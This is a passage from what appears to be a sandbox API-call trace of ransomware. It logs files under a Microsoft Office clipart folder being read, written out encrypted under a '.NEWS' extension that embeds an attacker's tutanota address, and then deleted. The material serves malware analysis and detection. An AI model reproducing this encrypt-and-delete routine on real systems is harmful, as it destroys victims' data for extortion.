Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0177.568] lstrlenW (lpString=".jpg") returned 4 [0177.568] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0177.568] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0177.569] lstrlenW (lpString="J0105588.WMF") returned 12 [0177.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0177.675] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=21548) returned 1 [0177.675] CloseHandle (hObject=0x514) returned 1 [0177.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf")) returned 0x220 [0177.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0177.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0177.676] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.676] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0177.677] GetLastError () returned 0x0 [0177.677] ReadFile (in: hFile=0x514, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x542c, lpOverlapped=0x0) returned 1 [0178.081] WriteFile (in: hFile=0x474, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x5430, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x5430, lpOverlapped=0x0) returned 1 [0178.082] ReadFile (in: hFile=0x514, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.082] WriteFile (in: hFile=0x474, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.083] SetEndOfFile (hFile=0x474) returned 1 [0178.466] CloseHandle (hObject=0x474) returned 1 [0178.466] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.466] SetEndOfFile (hFile=0x514) returned 1 [0178.470] CloseHandle (hObject=0x514) returned 1 [0178.470] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0178.471] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf")) returned 1 [0178.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0178.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0178.472] lstrlenW (lpString=".doc") returned 4 [0178.473] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.473] lstrlenW (lpString=".docx") returned 5 [0178.473] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0178.473] lstrlenW (lpString=".pdf") returned 4 [0178.473] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.473] lstrlenW (lpString=".xls") returned 4 [0178.473] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.473] lstrlenW (lpString=".xlsx") returned 5 [0178.473] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0178.473] lstrlenW (lpString=".ppt") returned 4 [0178.473] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0178.473] lstrlenW (lpString=".zip") returned 4 [0178.473] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.473] lstrlenW (lpString=".rar") returned 4 [0178.473] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.473] lstrlenW (lpString=".bz2") returned 4 [0178.473] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.473] lstrlenW (lpString=".7z") returned 3 [0178.473] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0178.474] lstrlenW (lpString=".dbf") returned 4 [0178.474] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0178.474] lstrlenW (lpString=".1cd") returned 4 [0178.474] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0178.474] lstrlenW (lpString=".jpg") returned 4 [0178.474] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0178.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0178.474] lstrlenW (lpString=".doc") returned 4 [0178.474] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.474] lstrlenW (lpString=".docx") returned 5 [0178.474] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0178.474] lstrlenW (lpString=".pdf") returned 4 [0178.474] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.474] lstrlenW (lpString=".xls") returned 4 [0178.474] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.474] lstrlenW (lpString=".xlsx") returned 5 [0178.474] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0178.475] lstrlenW (lpString=".ppt") returned 4 [0178.475] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0178.475] lstrlenW (lpString=".zip") returned 4 [0178.475] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.475] lstrlenW (lpString=".rar") returned 4 [0178.475] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.476] lstrlenW (lpString=".bz2") returned 4 [0178.477] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.477] lstrlenW (lpString=".7z") returned 3 [0178.477] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0178.477] lstrlenW (lpString=".dbf") returned 4 [0178.477] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0178.477] lstrlenW (lpString=".1cd") returned 4 [0178.477] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0178.477] lstrlenW (lpString=".jpg") returned 4 [0178.477] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.477] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0178.477] lstrlenW (lpString="J0105912.WMF") returned 12 [0178.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0178.508] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=11720) returned 1 [0178.508] CloseHandle (hObject=0x568) returned 1 [0178.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf")) returned 0x220 [0178.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0179.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0179.298] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.298] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0179.300] GetLastError () returned 0x0 [0179.360] ReadFile (in: hFile=0x4f4, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x2dc8, lpOverlapped=0x0) returned 1 [0179.364] WriteFile (in: hFile=0x560, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x2dd0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2dd0, lpOverlapped=0x0) returned 1 [0179.366] ReadFile (in: hFile=0x4f4, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.366] WriteFile (in: hFile=0x560, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.366] SetEndOfFile (hFile=0x560) returned 1 [0179.366] CloseHandle (hObject=0x560) returned 1 [0179.367] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.367] SetEndOfFile (hFile=0x4f4) returned 1 [0179.371] CloseHandle (hObject=0x4f4) returned 1 [0179.371] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0179.372] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf")) returned 1 [0179.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0179.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0179.373] lstrlenW (lpString=".doc") returned 4 [0179.373] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.373] lstrlenW (lpString=".docx") returned 5 [0179.373] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0179.373] lstrlenW (lpString=".pdf") returned 4 [0179.373] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.373] lstrlenW (lpString=".xls") returned 4 [0179.373] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.373] lstrlenW (lpString=".xlsx") returned 5 [0179.373] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0179.373] lstrlenW (lpString=".ppt") returned 4 [0179.374] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0179.374] lstrlenW (lpString=".zip") returned 4 [0179.374] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.374] lstrlenW (lpString=".rar") returned 4 [0179.374] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.374] lstrlenW (lpString=".bz2") returned 4 [0179.374] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.374] lstrlenW (lpString=".7z") returned 3 [0179.374] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0179.374] lstrlenW (lpString=".dbf") returned 4 [0179.374] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0179.374] lstrlenW (lpString=".1cd") returned 4 [0179.374] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0179.374] lstrlenW (lpString=".jpg") returned 4 [0179.374] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0179.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0179.374] lstrlenW (lpString=".doc") returned 4 [0179.374] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.374] lstrlenW (lpString=".docx") returned 5 [0179.374] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0179.375] lstrlenW (lpString=".pdf") returned 4 [0179.375] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.375] lstrlenW (lpString=".xls") returned 4 [0179.375] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.375] lstrlenW (lpString=".xlsx") returned 5 [0179.375] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0179.375] lstrlenW (lpString=".ppt") returned 4 [0179.375] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0179.375] lstrlenW (lpString=".zip") returned 4 [0179.375] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.375] lstrlenW (lpString=".rar") returned 4 [0179.375] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.375] lstrlenW (lpString=".bz2") returned 4 [0179.375] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.375] lstrlenW (lpString=".7z") returned 3 [0179.375] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0179.375] lstrlenW (lpString=".dbf") returned 4 [0179.375] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0179.376] lstrlenW (lpString=".1cd") returned 4 [0179.376] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0179.376] lstrlenW (lpString=".jpg") returned 4 [0179.376] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.376] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0179.376] lstrlenW (lpString="J0105974.WMF") returned 12 [0179.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0179.377] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=4612) returned 1 [0179.378] CloseHandle (hObject=0x4f4) returned 1 [0179.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf")) returned 0x220 [0179.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0179.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0179.378] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.379] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0179.380] GetLastError () returned 0x0 [0179.380] ReadFile (in: hFile=0x4f4, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x1204, lpOverlapped=0x0) returned 1 [0179.382] WriteFile (in: hFile=0x560, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1210, lpOverlapped=0x0) returned 1 [0179.384] ReadFile (in: hFile=0x4f4, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.384] WriteFile (in: hFile=0x560, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.384] SetEndOfFile (hFile=0x560) returned 1 [0179.385] CloseHandle (hObject=0x560) returned 1 [0179.385] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.385] SetEndOfFile (hFile=0x4f4) returned 1 [0179.390] CloseHandle (hObject=0x4f4) returned 1 [0179.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0179.390] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf")) returned 1 [0179.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0179.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0179.392] lstrlenW (lpString=".doc") returned 4 [0179.392] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.392] lstrlenW (lpString=".docx") returned 5 [0179.392] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0179.392] lstrlenW (lpString=".pdf") returned 4 [0179.392] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.392] lstrlenW (lpString=".xls") returned 4 [0179.392] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.392] lstrlenW (lpString=".xlsx") returned 5 [0179.392] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0179.392] lstrlenW (lpString=".ppt") returned 4 [0179.392] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0179.392] lstrlenW (lpString=".zip") returned 4 [0179.392] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.392] lstrlenW (lpString=".rar") returned 4 [0179.392] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.392] lstrlenW (lpString=".bz2") returned 4 [0179.392] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.392] lstrlenW (lpString=".7z") returned 3 [0179.392] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0179.392] lstrlenW (lpString=".dbf") returned 4 [0179.392] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0179.393] lstrlenW (lpString=".1cd") returned 4 [0179.393] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0179.393] lstrlenW (lpString=".jpg") returned 4 [0179.393] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0179.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0179.393] lstrlenW (lpString=".doc") returned 4 [0179.393] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.393] lstrlenW (lpString=".docx") returned 5 [0179.393] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0179.393] lstrlenW (lpString=".pdf") returned 4 [0179.393] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.393] lstrlenW (lpString=".xls") returned 4 [0179.393] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.393] lstrlenW (lpString=".xlsx") returned 5 [0179.393] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0179.393] lstrlenW (lpString=".ppt") returned 4 [0179.393] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0179.393] lstrlenW (lpString=".zip") returned 4 [0179.393] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.394] lstrlenW (lpString=".rar") returned 4 [0179.394] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.394] lstrlenW (lpString=".bz2") returned 4 [0179.394] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.394] lstrlenW (lpString=".7z") returned 3 [0179.394] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0179.394] lstrlenW (lpString=".dbf") returned 4 [0179.394] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0179.394] lstrlenW (lpString=".1cd") returned 4 [0179.394] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0179.394] lstrlenW (lpString=".jpg") returned 4 [0179.394] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.394] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0179.394] lstrlenW (lpString="J0106020.WMF") returned 12 [0179.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: 